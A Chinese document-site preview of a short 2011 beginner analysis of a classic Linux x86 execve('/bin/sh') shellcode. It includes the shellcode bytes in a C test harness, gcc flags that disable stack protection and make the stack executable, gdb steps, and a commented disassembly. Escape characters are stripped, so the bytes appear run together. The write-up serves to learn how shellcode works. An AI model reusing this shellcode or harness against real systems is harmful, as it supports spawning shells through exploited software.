简单Shellcode详细分析

简单Shellcode详细分析

ID:44899560

大小:212.00 KB

页数:4页

时间:2019-11-02

简单Shellcode详细分析_第1页
简单Shellcode详细分析_第2页
简单Shellcode详细分析_第3页
简单Shellcode详细分析_第4页
资源描述:

《简单Shellcode详细分析》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库

1、简单Shellcode的详细分析------bymoonflow2011.11.11分析段简单的shellcode代码1.shellcode.c#includestaticcharshellcode[]="xebx17x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89""xf3x8dx4ex08x31xd2xcdx80xe8xe4xffxffxffx2fx62x69x6e

2、""x2fx73x68x58";intmain(){(*(void(*)())shellcode)();return0;}gcc-fno-stack-protector-zexecstack-g-oshellshell.c//记住一定要加-fno-stack-protector-zexecstack2.shellcode动态调试记住编译的时候一定要加-fno-stack-protector-zexecstackgdb动态调试shellcode加断点在shellcode部分,并使用汇编方式

3、来调试,即display/i$pc单步调试si,使用x/8xb134518174观察esi中的字符串,可以发现这串ascii码这个时候是/bin/sh,但是末尾58继续单步,,跟踪到mov%al,0x7(%esi)过后,会发现末尾的58变成了00,这个时候就是完整的"/bin/sh"了。继续si,会发现mov$0xb,%al,将0xb(11)赋给eax,这是execve()在系统中的索引号.然后调用80号中断通过这段简单地跟踪可以了解到这段简单的shellcode的用处。即打开一个shell窗口

4、。3.详细汇编解释这里采用nasm来汇编一下,即ndisasm-u,使用的intel风格的汇编,效果都一样,添加了详细注释。echo-ne"xebx17x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x31xd2xcdx80xe8xe4xffxffxffx2fx62x69x6ex2fx73x68x58"

5、ndisasm-u-00000000EB17jmps

6、hort0x19//注意17+2等于19,这是相对偏移,此地方跳转到calldword0x2000000025Epopesi//弹出到esi寄存器中,即是calldword0x2后面的返回地址0000001E,也就是存储着/bin/sh00000003897608mov[esi+0x8],esi0000000631C0xoreax,eax00000008884607mov[esi+0x7],al//使58为00,这样就是完整的字符串"/bin/sh"0000000B89460Cmov[esi+0

7、xc],eax0000000EB00Bmoval,0xb//将0xb(11)赋给eax,这是execve()在系统中的索引号.0000001089F3movebx,esi//赋值esi字符串000000128D4E08leaecx,[esi+0x8]0000001531D2xoredx,edx00000017CD80int0x8000000019E8E4FFFFFFcalldword0x2//这里跳转到popesi执行,但是call的时候会压入返回地址,即0000001E0000001E2Fda

8、s0000001F62696Eboundebp,[ecx+0x6e]000000222Fdas000000237368jnc0x8d0000002558popeax末尾从2F开始,这里面2F62696E2F7368对应着/bin/sh,应该末尾还有个00,但是这边放的是58,不是00,那要怎么进行呢?shellcode里不能直接放0x00,通过动态调试可以发现这里就是通过mov[esi+0x7],al这条指令来是58置为00的。这样子/bin/sh就完整了。分析结束,初次分析shellcode,

9、很多不会,需要进一步学习。好的,终于从大白晋级到小菜了。好好学习,天天向上。

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。